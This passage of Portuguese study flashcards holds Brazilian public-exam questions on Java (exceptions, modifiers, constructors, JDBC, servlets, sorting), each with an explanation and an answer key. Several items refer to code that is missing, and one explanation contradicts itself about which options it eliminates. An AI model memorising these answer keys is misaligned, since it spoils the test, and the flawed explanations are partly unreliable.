  • finally: O bloco finally é opcional e contém código que será executado sempre, independentemente de uma exceção ter sido lançada ou não. Ele é geralmente usado para liberar recursos, como fechar arquivos ou conexões de banco de dados.

Exemplo:
```java
try {
// Código que pode lançar uma exceção
} catch (ExceptionType e) {
// Tratamento da exceção
} finally {
// Código que sempre será executado
}
~~~

A instrução try permite que você defina um bloco de código para ser testado quanto a erros enquanto está sendo executado.

A instrução catch permite definir um bloco de código a ser
executado, caso ocorra um erro no bloco try.

Por fim, a instrução finally permite que você execute código, depois do try…catch, independentemente do resultado. Mas há casos em que o finally não é executado. Questão correta!

Gabarito: Correto

286
Q
  1. (CESPE – TRE-MA – 2009) Para definição e manipulação de uma exceção em Java, devem constar no programa, obrigatoriamente, os termos:

a) try e catch.
b) try e finally.
c) finally e catch.
d) finally e retry.
e) try e retry.

A

Pessoal, o correto é Try e catch.

Gabarito: Letra A

287
Q
  1. (CESPE – SERPRO – 2008) A linguagem Java, orientada a objetos, tem como característica ser compilada em um código executado em máquina virtual.
A

A afirmação está correta.

A linguagem Java é orientada a objetos e tem como uma de suas principais características a compilação do código-fonte em bytecode.

Esse bytecode não é executado diretamente pelo sistema operacional ou processador, mas sim pela Máquina Virtual Java (JVM).

Isso permite que o mesmo código Java seja executado em diferentes plataformas, desde que haja uma JVM adequada, garantindo a portabilidade do código (o famoso conceito de “escreva uma vez, execute em qualquer lugar”).

Gabarito: Correto

288
Q
  1. (CESPE – TRT - 5ª Região – 2008) A instrução import Java.awt.* indica que o programa irá utilizar componentes gráficos.
A

A afirmação está correta.

A instrução import java.awt.*; em Java indica que o programa utilizará classes do pacote AWT (Abstract Window Toolkit), que contém componentes gráficos e ferramentas para construção de interfaces gráficas de usuário (GUI), como janelas, botões, e outros elementos gráficos.

Portanto, a instrução permite o uso de componentes gráficos, como o próprio texto afirma.

Gabarito: Correto

289
Q
  1. (CESPE – TRT - 5ª Região – 2008) Em Java, os métodos public de uma classe são utilizados pelos clientes da classe para manipular dados armazenados em objetos dessa classe.
A

Pessoal, esses Modificadores de Acesso determinam quão acessíveis são esses elementos.

Vamos vê-los agora em mais detalhes:<public>: essa instrução indica que a classe, método ou atributo assim declaradas podem ser acessadas em qualquer lugar e a qualquer momento da execução do
programa – é o modificador menos restritivo.</public>

Perfeito, são públicos para toda e qualquer classe.

Gabarito: Correto

290
Q
  1. (FGV – CGU – 2022) Observe o trecho de código a seguir.

1 import java.io.*;
2
3 interface Segunda { public void segunda();}
4 interface Terca { public void terca();}
5 interface Quarta extends Segunda, Terca { public void quarta();}
6
7 class Quinta implements Segunda {
8 public void segunda(){System.out.println(“Segunda”);}
9 }
10
11 class Sexta extends Quinta implements Quarta {
12 public void segunda(){System.out.println(“Segunda!”);}
13 public void terca(){System.out.println(“Segunda!!”);}
14 public void quarta(){System.out.println(“Segunda!!!”);}
15 }
16
17 public class teste
18 {
19 public static void main( String[] args )
20 {
21 Quinta dia = (Quinta) new Sexta();
22 dia.segunda();
23 }
24 }

A saída produzida pela execução do código é:

a) Erro de compilação na linha 5
b) Segunda
c) Segunda!
d) Segunda!!
e) Segunda!!!

A

A resposta correta é a letra C) Segunda!

Aqui está a explicação:

  1. A classe Sexta estende Quinta e implementa a interface Quarta, que por sua vez estende as interfaces Segunda e Terca. Isso significa que Sexta deve implementar os métodos das três interfaces, o que ela faz.
  2. Na linha 21, o código cria uma instância da classe Sexta, mas o objeto é referenciado como Quinta, ou seja, ele é tratado como um objeto da superclasse Quinta (polimorfismo).
  3. Ao chamar dia.segunda() na linha 22, o método segunda() da classe Sexta é executado, porque em Java, mesmo que a referência seja de uma classe pai (Quinta), a versão do método da classe filha (Sexta) será chamada devido ao polimorfismo.
  4. A versão de segunda() em Sexta imprime "Segunda!".

Portanto, a saída do programa será “Segunda!”.

Gabarito: C

291
Q
  1. (FGV – TJDFT – 2022) Observe as classes abaixo descritas na linguagem de programação Java.

public class DocumentoProcesso extends Object
{
private String docNumero;
private int classificacao;

public DocumentoProcesso (String docNumero, int

classificacao){
if (classificacao < 1)
throw new IllegalArgumentException (
“A classificação do documento deve ser no mínimo 1.”);
this.docNumero = docNumero;
this.classificacao = classificacao;
}
public String getDocNumero()
{ return docNumero; }
public int getClassificacao()
{ return classificacao; }
public void setDocNumero(String docNumero)
{ this.docNumero = docNumero; }
public void setClassificacao(int classificacao)

{ this.classificacao = classificacao; }
public int promove()
{ return classificacao + 1; }
}

public class Oficio extends DocumentoProcesso
{

private int precedencia;
public Oficio (String docNumero, int classificacao, int precedencia)
{super(docNumero,classificacao);
this.precedencia = precedencia; }
public int getPrecedencia()
{ return precedencia; }
public void setPrecedencia(int precedencia)
{ this.precedencia = precedencia; }
@Override
public int promove()
{ return precedencia + 1; }
}

Com base nos conceitos de orientação a objetos, é correto afirmar que:

a) os atributos private de DocumentoProcesso são acessíveis por Oficio;

b) a anotação @Override indica que o método promove() é abstrato e polimórfico;

c) a classe Oficio representa uma herança múltipla das classes DocumentoProcesso e Object;

d) a classe Oficio é composta pela classe DocumentoProcesso, permitindo que uma instância da classe Oficio faça referências a instâncias da classe DocumentoProcesso;

e) os métodos getDocNumero() e setDocNumero() da classe DocumentoProcesso encapsulam o atributo docNumero e asseguram que os objetos da classe mantenham estados consistentes.

A

A questão trata de conceitos de orientação a objetos, como encapsulamento, herança e polimorfismo, no contexto da linguagem Java. Vamos analisar cada uma das opções:

a) os atributos private de DocumentoProcesso são acessíveis por Oficio;

Essa afirmação está incorreta. Em Java, os atributos marcados como private em uma classe não são diretamente acessíveis por suas subclasses. No caso, Oficio não pode acessar diretamente os atributos private de DocumentoProcesso.

b) a anotação @Override indica que o método promove() é abstrato e polimórfico;

Essa afirmação também está incorreta. A anotação @Override não indica que um método é abstrato. Ela indica que um método da classe filha está sobrescrevendo um método da classe pai. No caso, o método promove() na classe Oficio está sobrescrevendo o método promove() da classe DocumentoProcesso, mas nenhum deles é abstrato.

c) a classe Oficio representa uma herança múltipla das classes DocumentoProcesso e Object;

Essa afirmação está incorreta. Java não suporta herança múltipla de classes, ou seja, uma classe não pode herdar diretamente de mais de uma classe. A classe Oficio herda apenas de DocumentoProcesso, e DocumentoProcesso herda implicitamente de Object, pois todas as classes em Java herdam de Object.

d) a classe Oficio é composta pela classe DocumentoProcesso, permitindo que uma instância da classe Oficio faça referências a instâncias da classe DocumentoProcesso;

Essa afirmação está incorreta. A relação entre Oficio e DocumentoProcesso é de herança (a classe Oficio herda de DocumentoProcesso), e não de composição. Composição envolve uma classe conter instâncias de outra classe como atributos, o que não é o caso aqui.

e) os métodos getDocNumero() e setDocNumero() da classe DocumentoProcesso encapsulam o atributo docNumero e asseguram que os objetos da classe mantenham estados consistentes;

Essa afirmação está correta. Os métodos getDocNumero() e setDocNumero() fornecem acesso ao atributo docNumero da classe DocumentoProcesso, e esse mecanismo é uma forma de encapsulamento. O encapsulamento permite proteger os atributos e garantir que eles sejam acessados e modificados de maneira controlada, o que ajuda a manter a consistência do estado do objeto.

Portanto, a resposta correta é letra e.

Gabarito: E

292
Q
  1. (FGV – PGE-AM – 2022) Considere o trecho de programa Java abaixo.

É correto afirmar que

a) o código mostra um exemplo de sobrescrita de métodos, pois há vários métodos com o
mesmo nome, porém, com parâmetros diferentes.

b) ocorrerá um erro no último método reajuste, pois este não pode ser estático.

c) uma chamada correta ao método reajuste, em condições ideais, é double sal = 1000.5; double c = Calcular.reajuste(sal);

d) ocorrerá um erro na classe Calcular, pois não é permitido criar vários métodos com o mesmo
nome, como ocorre com o método reajuste.

e) uma chamada correta ao método reajuste, em condições ideais, é float sal = (float) 1000.5;
double c = Calcular.reajuste(sal);

A

Vamos analisar o código da classe Calcular e as afirmações:

```java
public class Calcular {
public double reajuste(double salario, double percentual) {
return salario + salario * percentual / 100;
}
public double reajuste(double salario) {
return salario * 1.30;
}
public static double reajuste(float salario) {
return salario * 0.20;
}
}
~~~

Agora, analisemos cada opção:

a) o código mostra um exemplo de sobrescrita de métodos, pois há vários métodos com o mesmo nome, porém, com parâmetros diferentes.

Essa afirmação está incorreta. O que ocorre aqui é sobrecarga de métodos (overloading), não sobrescrita (overriding). A sobrecarga ocorre quando há métodos com o mesmo nome, mas com assinaturas diferentes (diferentes tipos ou quantidades de parâmetros). Sobrescrita ocorre quando uma classe filha redefine um método da classe pai.

b) ocorrerá um erro no último método reajuste, pois este não pode ser estático.

Essa afirmação está incorreta. O método estático é permitido e não causará erro. Métodos estáticos podem coexistir com métodos não estáticos, desde que suas assinaturas sejam diferentes, o que é o caso aqui (o método estático recebe um float, enquanto os outros recebem double).

c) uma chamada correta ao método reajuste, em condições ideais, é:

```java
double sal = 1000.5;
double c = Calcular.reajuste(sal);
~~~

Essa afirmação está incorreta. O método reajuste que recebe double e tem apenas um parâmetro não é estático. Portanto, para chamá-lo, seria necessário criar uma instância da classe Calcular, como:

```java
Calcular calc = new Calcular();
double c = calc.reajuste(sal);
~~~

d) ocorrerá um erro na classe Calcular, pois não é permitido criar vários métodos com o mesmo nome, como ocorre com o método reajuste.

Essa afirmação está incorreta. Em Java, é perfeitamente permitido ter vários métodos com o mesmo nome, desde que suas assinaturas sejam diferentes (sobrecarga de métodos).

e) uma chamada correta ao método reajuste, em condições ideais, é:

```java
float sal = (float) 1000.5;
double c = Calcular.reajuste(sal);
~~~

Essa afirmação está correta. O método reajuste que recebe float é estático, então pode ser chamado diretamente pela classe Calcular, sem precisar de uma instância.

Portanto, a resposta correta é letra e.

Gabarito: E

293
Q
  1. (FGV – DPE-RJ – 2019) Considere as seguintes afirmativas sobre class constructor na linguagem Java.

I. Deve receber o mesmo nome da classe a ele associada.

II. Não deve ser especificado um tipo de retorno na sua declaração.

III. É útil para a definição de valores iniciais para os atributos da classe.

IV. É sempre declarado como public.

É correto somente o que se afirma em:

a) I e II;
b) II e III;
c) III e IV;
d) I, II e III;
e) I, III e IV.

A

Um class constructor em Java é um método especial usado para inicializar objetos de uma classe. Ele tem o mesmo nome da classe, não possui tipo de retorno (nem mesmo void) e é executado automaticamente quando um objeto é criado com o operador new. O construtor é utilizado principalmente para definir valores iniciais dos atributos da classe e garantir a correta criação do objeto.

Vamos analisar cada uma das afirmativas sobre construtores (class constructor) em Java:

I. Deve receber o mesmo nome da classe a ele associada.

Essa afirmativa é correta. Em Java, o construtor deve ter exatamente o mesmo nome da classe. Caso contrário, o compilador não o reconhecerá como um construtor.

II. Não deve ser especificado um tipo de retorno na sua declaração.

Essa afirmativa é correta. Construtores em Java não têm tipo de retorno, nem mesmo void. Se for especificado algum tipo de retorno, ele será tratado como um método regular, e não como um construtor.

III. É útil para a definição de valores iniciais para os atributos da classe.

Essa afirmativa é correta. O principal propósito de um construtor é inicializar os atributos de uma classe quando um objeto é criado.

IV. É sempre declarado como public.

Essa afirmativa é incorreta. Construtores podem ter qualquer modificador de acesso, como public, protected, private, ou mesmo o modificador padrão (sem especificar), dependendo do controle que se deseja sobre a criação de objetos. Construtores privados, por exemplo, são comuns em padrões de projeto como o Singleton.

Agora, analisando as opções:

  • a) I e II;
    Correta, mas incompleta, já que a afirmativa III também é correta.
  • b) II e III;
    Correta, mas incompleta, já que a afirmativa I também é correta.
  • c) III e IV;
    Incorreta, pois a afirmativa IV está errada.
  • d) I, II e III;
    Correta, pois as três afirmativas são verdadeiras.
  • e) I, III e IV;
    Incorreta, pois a afirmativa IV está errada.

Portanto, a resposta correta é letra d.

Gabarito: D

294
Q
  1. (FGV – MPE – AL – 2018) No Java, a classe Error e Exception derivam da classe

a) ClassNotFoundException.
b) IOException.
c) MainException.
d) RuntimeException.
e) Throwable.

A

Em Java, tanto a classe Error quanto a classe Exception derivam da classe Throwable.

A classe Throwable é a superclasse de todas as classes que podem ser usadas com a palavra-chave throw ou capturadas por um try-catch.

Ela tem duas subclasses principais:

  • Error: Representa erros graves no ambiente de execução que normalmente não podem ser recuperados, como OutOfMemoryError.
  • Exception: Representa exceções que podem ser tratadas durante a execução normal do programa.

Portanto, a resposta correta é:

e) Throwable.

295
Q
  1. (FGV – MPE-AL – 2018) Sobre as variáveis e os métodos declarados como private, em Java,
    analise as afirmativas a seguir.

I. Ficam acessíveis somente aos membros da própria classe.

II. Ficam acessíveis somente às classes definidas no mesmo package.

III. Ficam acessíveis somente para suas classes derivadas.

Está correto o que se afirma em

a) I, apenas.
b) II, apenas.
c) III, apenas.
d) I e II, apenas.
e) II e III, apenas.

A

Em Java, variáveis e métodos declarados como private:

  • São acessíveis apenas pela própria classe.
  • Não podem ser acessados por classes no mesmo pacote ou por subclasses.

Portanto, a única afirmativa correta é a I.

Resposta: a) I, apenas.

Gabarito: A

296
Q
  1. (FGV – BANESTES – 2018) Considere a compilação de um ou mais programas por meio da linha de comando, num ambiente Java.

Nesse caso, o comando que está corretamente
formado para esse fim é:

a) compile teste.java –type java
b) java teste.java
c) javac *.java
d) jvm Teste1.java teste2.java
e) parse java teste.java

A

Para compilar um ou mais arquivos Java na linha de comando, o comando correto utiliza o compilador Java, que é o javac.

  • O comando javac é usado para compilar arquivos .java, gerando arquivos .class que podem ser executados pela JVM.
  • No caso de compilar todos os arquivos .java no diretório, você pode usar o comando javac *.java.

Agora, vamos analisar as opções:

  • a) compile teste.java –type java
    Incorreto. Não existe o comando compile em Java.
  • b) java teste.java
    Incorreto. O comando java é usado para executar programas já compilados (arquivos .class), não para compilá-los.
  • c) javac *.java
    Correto. Esse comando compila todos os arquivos .java no diretório atual.
  • d) jvm Teste1.java teste2.java
    Incorreto. Não existe o comando jvm para compilar ou executar programas Java.
  • e) parse java teste.java
    Incorreto. O comando parse não é um comando Java.

Resposta correta:

c) javac *.java

Gabarito: C

297
Q
  1. (FGV – ALE-RO – 2018) Analise a definição de um array em Java.

int[ ][ ] multi = new int[ 5 ][ 10 ];

Assinale o código que exibe corretamente um elemento de cada linha desse array.

a) for (int i = 0; i < 5; i++) { System.out.println(multi[i][0]); };

b) for (int i = 0; i < 10; i++) { System.out.println(multi[i,1]); };

c) for (int i = 0; i <= 5; i++) { System.out.println(multi[i,0]); };

d) for (int i = 0; i <= multi.length; i++) { System.out.println(multi[1,i]); };

e) for (int i = 1; i < multi[0].length; i++) { System.out.println(multi[i,1]); };

A

Vamos analisar o código e as opções fornecidas para exibir corretamente um elemento de cada linha do array bidimensional multi definido como:

```java
int[][] multi = new int[5][10];
~~~

Esse array possui 5 linhas e 10 colunas. Para exibir um elemento de cada linha, o índice da coluna deve ser um valor válido (de 0 a 9), e o índice da linha deve ser de 0 a 4.

Agora, vamos analisar as opções:

a) for (int i = 0; i < 5; i++) { System.out.println(multi[i][0]); };
- Correta. Este código percorre as 5 linhas do array e imprime o primeiro elemento de cada linha (multi[i][0]).

b) for (int i = 0; i < 10; i++) { System.out.println(multi[i,1]); };
- Incorreta. A sintaxe de acesso ao array está errada. Deve ser multi[i][1] em vez de multi[i,1].

c) for (int i = 0; i <= 5; i++) { System.out.println(multi[i,0]); };
- Incorreta. O índice i vai de 0 a 5, mas o último índice válido para as linhas é 4. Isso causará um ArrayIndexOutOfBoundsException.

d) for (int i = 0; i <= multi.length; i++) { System.out.println(multi[1,i]); };
- Incorreta. O índice i também vai de 0 a 5, o que causará uma exceção, além de estar usando a sintaxe errada (multi[1,i] deve ser multi[1][i]).

e) for (int i = 1; i < multi[0].length; i++) { System.out.println(multi[i,1]); };
- Incorreta. A sintaxe de acesso ao array está errada (multi[i,1] deve ser multi[i][1]) e i começa em 1, o que não acessará a primeira linha.

Resumo da Resposta:

A única opção correta que exibe um elemento de cada linha do array multi é:

a) for (int i = 0; i < 5; i++) { System.out.println(multi[i][0]); };

Gabarito: A

298
Q
  1. (FGV – ALE-RO – 2018) No contexto da linguagem Java, assinale o modificador (modifier) que se refere ao nível de acesso.

a) abstract
b) final
c) protected
d) static
e) volatile

A

No contexto da linguagem Java, o modificador que se refere ao nível de acesso é protected. Esse modificador permite que membros (atributos e métodos) de uma classe sejam acessados por:

  • A própria classe.
  • Subclasses (mesmo que estejam em pacotes diferentes).
  • Outras classes no mesmo pacote.

Vamos revisar brevemente as opções:

  • a) abstract: Indica que uma classe ou método é abstrato, ou seja, não pode ser instanciado e deve ser implementado em subclasses.
  • b) final: Indica que uma classe não pode ser estendida, um método não pode ser sobrescrito, ou uma variável não pode ser alterada após a inicialização.
  • c) protected: Correto. Refere-se ao nível de acesso dos membros da classe.
  • d) static: Indica que um membro pertence à classe em si, e não a instâncias específicas da classe.
  • e) volatile: É usado para indicar que uma variável pode ser alterada de forma inesperada, principalmente em ambientes multithreading, mas não se refere ao nível de acesso.

Resposta correta:

c) protected.

299
Q
  1. (FGV – ALE-RO – 2018) Sobre construtores (constructors), no contexto da linguagem Java,
    analise as afirmativas a seguir.

I. Os construtores devem ser declarados como private.

II. Uma interface não pode ter um construtor.

III. Uma classe abstrata pode ter um construtor.

Está correto o que se afirma em

a) I, somente.
b) II, somente.
c) III, somente.
d) I e II, somente.
e) II e III, somente.

A

Vamos analisar cada uma das afirmativas sobre construtores em Java:

I. Os construtores devem ser declarados como private.
- Incorreta. Construtores podem ter qualquer modificador de acesso (como public, protected, private, ou padrão), dependendo do controle que se deseja sobre a criação de objetos. Um construtor private é usado, por exemplo, em padrões de projeto como o Singleton, mas não é uma obrigação.

II. Uma interface não pode ter um construtor.
- Correta. Interfaces não podem ter construtores, pois não podem ser instanciadas diretamente. Uma interface pode declarar métodos, mas não pode criar objetos.

III. Uma classe abstrata pode ter um construtor.
- Correta. Classes abstratas podem ter construtores, que podem ser usados por subclasses para inicializar os atributos herdados.

Conclusão:

  • A afirmativa II e a afirmativa III estão corretas.

Resposta correta:

e) II e III, somente.

Gabarito: E

300
Q
  1. (FGV – MPE AL – 2018) O package “java.util.regex” do Java permite a manipulação de expressões regulares.

As três classes mais importantes desse pacote são denominadas:

a) RegExp, Parser e Lexicon.

b) RegExPattern, RegExVerifier e RegExCompiler.

c) Pattern, Matcher e PatternSyntaxException.

d) Collector, Retriever e SyntaxParser.
e) Parser, Inspector e Evaluator.

A

O pacote java.util.regex em Java oferece classes para manipulação de expressões regulares, e as três classes mais importantes desse pacote são:

  • Pattern: Representa uma expressão regular compilada.
  • Matcher: Realiza a correspondência de padrões em uma sequência de caracteres.
  • PatternSyntaxException: Indica um erro de sintaxe em uma expressão regular.

Portanto, a resposta correta é:

c) Pattern, Matcher e PatternSyntaxException.

Gabarito: C

301
Q
  1. (FGV – MPE – AL – 2018) Servidores de aplicação baseados em Java Platform Enterprise Edition possuem vários tipos de API.

Assinale a opção que indica a API utilizada para fornecer acesso ao servidor de nomes e
diretórios.

a) JNDI.
b) RMI.
c) JMS.
d) JTS.
e) JDBC.

A

A API utilizada para fornecer acesso ao servidor de nomes e diretórios em servidores de aplicação baseados em Java Platform Enterprise Edition é a JNDI (Java Naming and Directory Interface).

Aqui está um breve resumo das opções:

  • a) JNDI: Correta. Fornece uma interface para localizar e acessar recursos e serviços em um servidor de nomes e diretórios.
  • b) RMI: (Remote Method Invocation) permite que um objeto Java invoque métodos em objetos em outra máquina.
  • c) JMS: (Java Message Service) fornece uma interface para comunicação assíncrona entre componentes de aplicativos.
  • d) JTS: (Java Transaction Service) fornece suporte para transações distribuídas.
  • e) JDBC: (Java Database Connectivity) permite a conexão e a execução de consultas em bancos de dados relacionais.

Resposta correta:

a) JNDI.

Gabarito: A

302
Q
  1. (FGV – IBGE – 2017) Os servidores de aplicação fornecem a infraestrutura básica necessária para o desenvolvimento e a distribuição de aplicações.

Em relação aos servidores de aplicação da plataforma Java EE, analise as afirmativas a seguir:

I. GlassFish e Apache Geronimo são servidores de aplicação open source compatível com a
especificação J2EE.

II. O Apache Tomcat não dispõe de um container EJB.

III. JBoss é programado em Java, portanto, pode ser usado em qualquer sistema operacional
que suporte essa linguagem de programação.

Está correto o que se afirma em:

a) somente I;
b) somente II;
c) somente III;
d) somente I e II;
e) I, II e III.

A

Vamos analisar as afirmativas sobre os servidores de aplicação da plataforma Java EE:

I. GlassFish e Apache Geronimo são servidores de aplicação open source compatível com a especificação J2EE.
- Correta. Tanto o GlassFish quanto o Apache Geronimo são servidores de aplicação de código aberto que implementam a especificação J2EE (Java 2 Platform, Enterprise Edition).

II. O Apache Tomcat não dispõe de um container EJB.
- Correta. O Apache Tomcat é um servidor de servlet que implementa as especificações de servlets e JSP, mas não suporta EJB (Enterprise JavaBeans) nativamente.

III. JBoss é programado em Java, portanto, pode ser usado em qualquer sistema operacional que suporte essa linguagem de programação.
- Correta. O JBoss (atualmente conhecido como WildFly) é um servidor de aplicação que é escrito em Java e, portanto, pode ser executado em qualquer sistema operacional que tenha uma JVM (Java Virtual Machine) instalada.

Conclusão:

Todas as afirmativas estão corretas.

Resposta correta:

e) I, II e III.

Gabarito: E

303
Q
  1. (FGV – IBGE – 2017) Em Java, certo método da classe A deve poder ser invocado
    independentemente da criação prévia de uma instância de A.

O modificador obrigatório na declaração desse método é:

a) abstract;
b) static;
c) public;
d) protected;
e) final.

A

Para que um método possa ser invocado independentemente da criação de uma instância da classe, ele deve ser declarado como static. Métodos estáticos pertencem à classe em si, e não a instâncias específicas da classe. Assim, eles podem ser chamados sem que uma instância da classe seja criada.

Vamos revisar as opções:

  • a) abstract: Indica que o método não tem uma implementação na classe, mas deve ser implementado em subclasses. Não é relevante para a invocação sem instância.
  • b) static: Correta. Permite que o método seja chamado sem uma instância da classe.
  • c) public: Indica que o método pode ser acessado de qualquer lugar, mas não garante que ele possa ser chamado sem uma instância.
  • d) protected: Permite que o método seja acessado apenas por subclasses e classes no mesmo pacote, mas não permite a chamada sem instância.
  • e) final: Indica que o método não pode ser sobrescrito em subclasses, mas não está relacionado com a criação de instâncias.

Resposta correta:

b) static.

Gabarito: B

304
Q
  1. (FCC – PGE-AM - 2022) Considere o trecho de programa Java abaixo.

A assinatura correta do método que deve ser colocada na lacuna I é

a) public int[] verificar(int vet[])
b) private int[] verificar(int vet[])
c) public static int verificar(int vet[])
d) public int verificar(int vet)
e) public static int[] verificar(int vet[])

A

A forma correta para a assinatura do método é conforme a sintaxe:

[Palavras-Chave] TipoRetorno NomeMetodo ([Lista de Parâmetros]).

Assim, temos um método public, daí
eliminamos a letra B.

É definido como static porque os métodos static tem um relacionamento com uma classe como um todo, enquanto os métodos que não são static são associados a uma instância de classe específica (objeto) e podem manipular as variáveis de instância do objeto.

Portanto eliminamos as alternativas a, b e d.

O retorno é um vetor de inteiros, portanto int[], daí eliminamos as alternativas c e d.

Ficamos então com a alternativa E que é o nosso gabarito:

public static int[] verificar(int vet[])

Gabarito: Letra E

305
Q
  1. (FCC – PGE-AM – 2022) Considere st um objeto do tipo PreparedStatement e conn um objeto do tipo Connection, ambos em condições ideais para a execução do método salvar, de uma classe Java.

Nas condições apresentadas, para que o método salvar grave as informações do cliente no banco de dados aberto, a lacuna I deve ser corretamente preenchida com a instrução

a) INSERT INTO cliente VALUES(cpf,nome,endereco,bairro,cidade,telefone,renda)

b) INSERT INTO cliente VALUES(?,?,?,?,?,?,?)

c) INSERT INTO cliente (nome,cpf,endereco,bairro,cidade,telefone, renda) VALUES(?,?,?,?,?,?,?)

d) INSERT INTO cliente VALUES([cpf],[nome],[endereço],[bairro],[cidade],[telefone],[renda])

e) INSERT TO cliente (cpf,nome,endereco,bairro,cidade,telefone, renda) VALUES(?,?,?,?,?,?,?)

A

Um PreparedStatement é um objeto que representa uma instrução SQL pré-compilada.

Uma instrução SQL é pré-compilada e armazenada em um objeto PreparedStatement.

Esse objeto pode ser usado para executar com eficiência essa instrução várias vezes.

Às vezes, é mais conveniente usar um objeto PreparedStatement para enviar instruções SQL ao banco de dados.

Esse tipo especial de instrução é derivado da classe mais geral, Statement, que você já conhece.

Se você deseja executar um objeto Statement muitas vezes, geralmente reduz o tempo de
execução para usar um objeto PreparedStatement.

A principal característica de um objeto
PreparedStatement é que, diferentemente de um objeto Statement, ele recebe uma instrução
SQL quando é criado.

A vantagem disso é que, na maioria dos casos, essa instrução SQL é enviada imediatamente ao DBMS, onde é compilada.

Como resultado, o objeto PreparedStatement
contém não apenas uma instrução SQL, mas uma instrução SQL que foi pré-compilada.

Isso significa que quando o PreparedStatement é executado, o DBMS pode apenas executar a
instrução SQL PreparedStatement sem ter que compilá-lo primeiro.

A ideia é preparar as querys do SQL para armazenamento no banco de dados.

O tutorial da Oracle diz que nós devemos usar
a interrogação para inserir na tabela cliente (?,?,?,?,?,?,?).

Portanto o gabarito é a letra B.

Gabarito: Letra B

306
Q
  1. (FCC – PGE-AM – 2022) No método doPost de uma servlet Java, deseja-se receber um
    parâmetro de um campo de nome renda contido em um formulário HTML, converter o valor recebido deste campo para número real e armazená-lo em uma variável chamada renda.

A instrução correta para realizar esta tarefa é

a) long renda = Long.parseLong(request.getParameter(“renda”));

b) double renda = parseDouble(request.getParameter(“renda”));

c) double renda = request.getParameter(“renda”).toDouble();

d) double renda = Double.parseDouble(request.getParameter(“renda”));

e) number renda = parseNumber(request.getParameter(“renda”));

A

A opção correta para receber e converter um parâmetro “renda” de um formulário HTML em um número real no método doPost de uma servlet Java é:

d) double renda = Double.parseDouble(request.getParameter("renda"));

Análise das opções:
- a) Incorreta: Converte para long, não para número real.
- b) Incorreta: Falta o prefixo da classe Double.
- c) Incorreta: toDouble() não é um método válido em Java.
- d) Correta: Converte a string recebida em um número real (double).
- e) Incorreta: number não é um tipo em Java; parseNumber não é um método padrão.

Conclusão: A opção d é a única correta.

Gabarito: D

307
Q
  1. (FCC – AFAP – 2019) Considere o método Java abaixo.

Caso o driver JDBC não esteja disponível na aplicação e não exista o banco de dados trf3, as
exceções que deverão ser tratadas nas lacunas I e II são, correta e respectivamente,

a) NullPointerExceptionException e DatabaseException.

b) DriverNotFoundException e MySQLException.

c) JDBCDriverException e DatabaseException.

d) ClassNotFoundException e SQLException.

e) JDBCDriverException e DatabaseSQLException.

A

Pessoal, caso o driver JDBC não esteja disponível na aplicação, irá acusar um erro chamado ClassNotFoundException.

Os comandos não irão conseguir encontrar a classe informada, pois não há o driver disponível.

Por fim, como não existe o BD, o JDBC informa que é um erro chamado SQLException, ele acusa algum erro no banco de dados, como a questão nos informou que ele não existe não precisamos ficar procurando esse erro na aplicação.

Gabarito: Letra D

308
Q
  1. (FCC – AFAP – 2019) Para criar array um Analista de Informática digitou os comandos abaixo no método main de uma classe Java em condições ideais.

I. int[] a = {1,3};
II. int b[] = new int[2]; b[0]=1; b[1]=3;
III. int[] c = new int[2]; c.add(1); c.add(2);
IV. int[][] d = {{1,3},{4,5}};
V. int e[][] = {{1,3},{4,5}};

Ao tentar compilar e executar a classe, foi exibida a mensagem “Exception in thread “main”
java.lang.RuntimeException: Uncompilable source code”. Essa mensagem foi exibida porque o item

a) IV está incorreto, pois não especifica o tamanho da array.

b) V está incorreto, pois deve haver apenas um par de colchetes após o nome da array.

c) I está incorreto, pois não é permitido declarar um array e já incluir os valores nele.

d) II está incorreto, pois os colchetes devem ficar antes do nome da variável b.

e) III está incorreto, pois não existe o método add neste contexto.

A

Pessoal, a resposta correta é a letra E.

Não existe o método add para array no Java, mas sim no ArrayList.

Ademais, a letra a erra porque não é necessário especificar o tamanho.

O erro da letra B está em dizer que deve haver apenas um par de colchetes.

E a letra C está errada pois é possível sim declarar e incluir valores no array.

Por fim, os colchetes podem ficar antes ou depois da variável.

Gabarito: Letra E

309
Q
  1. (FCC – AFAP – 2019) Considere a classe Java abaixo, que usa um método de ordenação por
    inserção para rearranjar os valores em um vetor em ordem crescente.

public class Organiza{
public static void main(String[] args) {
int k[] = {88, 44, 42, 7, 72, 5};
int n = k.length;
ordena(n, k);
}

static void ordena(int n, int v[]) {
for (int j = 1; j < n; ++j) {
int x = v[j];
int i;
for (..I..){
v[i + 1] = v[i];
}
..II.. ;
}
}
}

Para que a ordenação por inserção ocorra corretamente, as lacunas I e II devem ser
corretamente preenchidas com

a) i=j-1; i >=0 && v[i]>x; − −i e v[i-1]=x
b) i=j-1; i >=0; i++ e v[i+1]=x
c) i=j-1; i >=0 && v[i]>x; − −i e v[i+1]=x
d) i=j-1; i >=0 && v[i]>x; ++i e v[i]=x
e) i=j-1; i >=0 || v[i]>x; − −i e v[i+1]=x

A

Para implementar corretamente o algoritmo de ordenação por inserção no método ordena, precisamos preencher as lacunas I e II. Vamos analisar o funcionamento do algoritmo e as opções dadas.

Algoritmo de Ordenação por Inserção

No algoritmo de ordenação por inserção:
1. O loop externo percorre o vetor a partir do segundo elemento (j = 1).
2. A variável x armazena o valor a ser inserido na posição correta.
3. O loop interno deve deslocar os elementos maiores que x para a direita, para criar espaço para x.
4. Após o deslocamento, x deve ser colocado na posição correta.

Lacuna I
Para a lacuna I, precisamos inicializar i para o índice do elemento anterior ao que estamos tentando inserir (j - 1). O loop interno deve continuar enquanto i for maior ou igual a zero e enquanto o valor em v[i] for maior que x.

Lacuna II
Na lacuna II, precisamos inserir x na posição correta, que será v[i + 1], após o deslocamento dos elementos.

Análise das opções
Agora, vamos analisar cada uma das opções:

  • a) i=j-1; i >=0 && v[i]>x; − −i e v[i-1]=x
    • Incorreta. O deslocamento está errado, e a inserção não está na posição correta.
  • b) i=j-1; i >=0; i++ e v[i+1]=x
    • Incorreta. O loop não é definido corretamente, e o deslocamento não funcionará.
  • c) i=j-1; i >=0 && v[i]>x; − −i e v[i+1]=x
    • Correta. O loop interno é configurado corretamente, e x é inserido na posição v[i+1].
  • d) i=j-1; i >=0 && v[i]>x; ++i e v[i]=x
    • Incorreta. A inserção de x não está na posição correta.
  • e) i=j-1; i >=0 || v[i]>x; − −i e v[i+1]=x
    • Incorreta. O uso de || é inadequado aqui e causaria comportamento inesperado.

Conclusão

As lacunas I e II devem ser preenchidas como segue:
- Lacuna I: i=j-1; i >=0 && v[i]>x; --i
- Lacuna II: v[i + 1] = x

